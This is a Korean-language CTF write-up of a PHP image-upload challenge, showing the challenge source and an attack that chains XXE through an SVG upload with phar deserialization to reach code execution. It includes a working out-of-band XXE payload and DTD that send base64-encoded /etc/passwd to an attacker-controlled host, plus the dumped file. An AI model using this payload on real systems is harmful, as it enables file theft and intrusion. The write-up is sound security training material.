근래 풀어본 CTF 웹 문제중에 가장 재미있게 풀어서 오랜만에 자세하게 풀이를 남겨봤다.
먼저 문제에서 코드를 제공해 준다. 총 3개의 PHP 파일을 주는데 각 소스는 아래와 같다.
index.php
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<link type="text/css" rel="stylesheet" href="style.css" />
</head>
<body>
<div class="container">
<img src="static/robot.png" class="centered imgrobot" />
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" onchange="this.form.submit()" name="image" class="btn"/>
</form>
<hr>
<div class="center">
<?php
$base_dir = "images/" . session_id() . "/";
foreach (glob($base_dir . "*_thumb*") as $filename) {
// cut off _thumb.jpg
$fname = substr($filename, 0, -10);
$large_fname = glob( $fname . "*")[0];
echo "<a href='$large_fname'><img src='$filename' /></a>\n";
}
?>
</div>
</div>
</body>
</html>
gallery.php
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<link type="text/css" rel="stylesheet" href="style.css" />
</head>
<body>
<form method="post" action="upload.php" enctype="multipart/form-data">
<div class="container">
<h1>Your Uploaded Images:</h1>
<?php
$base_dir = "images/" . session_id() . "/";
foreach (glob($base_dir . "*_thumb*") as $filename) {
// cut off _thumb.jpg
$fname = substr($filename, 0, -10);
$large_fname = glob( $fname . "*")[0];
echo "<a href='$large_fname'><img src='$filename' /></a>\n";
}
?>
</div>
<div class="container">
<a href="index.php">Upload More</a></span>
</div>
</form>
</body>
</html>
upload.php
<?php
session_start();
function calcImageSize($file, $mime_type) {
if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
$stats = getimagesize($file); // Doesn't work for svg...
$width = $stats[0];
$height = $stats[1];
} else {
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
$attrs = $svg->attributes();
$width = (int) $attrs->width;
$height = (int) $attrs->height;
}
return [$width, $height];
}
class Image {
function __construct($tmp_name)
{
$allowed_formats = [
"image/png" => "png",
"image/jpeg" => "jpg",
"image/svg+xml" => "svg"
];
$this->tmp_name = $tmp_name;
$this->mime_type = mime_content_type($tmp_name);
if (!array_key_exists($this->mime_type, $allowed_formats)) {
// I'd rather 500 with pride than 200 without security
die("Invalid Image Format!");
}
$size = calcImageSize($tmp_name, $this->mime_type);
if ($size[0] * $size[1] > 1337 * 1337) {
die("Image too big!");
}
$this->extension = "." . $allowed_formats[$this->mime_type];
$this->file_name = sha1(random_bytes(20));
$this->folder = $file_path = "images/" . session_id() . "/";
}
function create_thumb() {
$file_path = $this->folder . $this->file_name . $this->extension;
$thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
}
function __destruct()
{
if (!file_exists($this->folder)){
mkdir($this->folder);
}
$file_dst = $this->folder . $this->file_name . $this->extension;
move_uploaded_file($this->tmp_name, $file_dst);
$this->create_thumb();
}
}
new Image($_FILES['image']['tmp_name']);
header('Location: index.php');
위 코드 중 핵심 코드는 upload.php인데 해당 소스를 쭉 오디팅 하다보면 취약점이 터질만한 곳이 대충 3군데가 보인다.
일단 기본적인 웹쉘 업로드 같은 경우는 불가능한데 코드에서 눈에 띄는게 일단 svg업로드 시 xml parsing, 파일 convert 시 system 명령어를 사용, __destruct 매직 메서드의 존재이다.
대충 위의 포인트로 터질만하다고 보여진건 xxe, command injection, imagemagik rce, php objection injection 정도였다. 근데 각 취약점 별로 실제 트리거가 가능할지 검증이 필요했다.
먼저 가장 먼저 해볼만한게 xxe였다. 코드를 보면 별다른 필터가 없어서 Externel Entity만 활성화되어있으면 그냥 로직만 쭉 따라가면 당연히 될만한 상황이었다.
파싱 후 데이터가 뿌려지는 부분이 없어서 oob를 통해 아래와 같이 검증을 해보니 실제로 xxe가 터지는걸 확인할 수 있었다.
ssr.svg
<!DOCTYPE svg [
<!ENTITY % dtd SYSTEM "http://my_ip/test.dtd">
%dtd;
%param1;
]>
<svg>&ssr;</svg>
test.dtd
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY ssr SYSTEM 'http://my_ip:9999/%data;'>">
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
messagebus:x:101:101::/var/run/dbus:/bin/false
여기까지 진행 후 phar파일이 일단 업로드가 정상적으로 됬는지 확인해봤는데 여기서 조금 삽질을 했다. 업로드된 후 내가 확인한 파일은 convert작업으로인해 serialize된 데이터가 제거된 상태였다. 여기서 이걸 우회할 수가 있나라고 한참 생각하다가 실제로 해당 명령어를 로컬에서 실행해보니 기존 파일이 convert되면서 삭제 및 변경되는게 아니라 원본 그대로 유지가 되고 있었다. 원본 파일에는 serialize 데이터가 그대로 존재했기 떄문에 아래와 같이 xxe로 phar wrapper를 사용해줬고 rce가 터지는걸 확인할 수 있었다.
Flag: midnight{R3lying_0n_PHP_4lw45_W0rKs}
'CTF > Writeup' 카테고리의 다른 글
ASIS CTF 2019 Fort Knox (0) | 2019.04.22 |
---|---|
Byte Bandits CTF 2019 Web Writeup (0) | 2019.04.14 |
CBM CTF 2019 Writeup (0) | 2019.04.08 |
Midnightsun CTF 2019 Marcodowno (0) | 2019.04.07 |
Radar CTF 2019 Inj3c7 (0) | 2019.04.05 |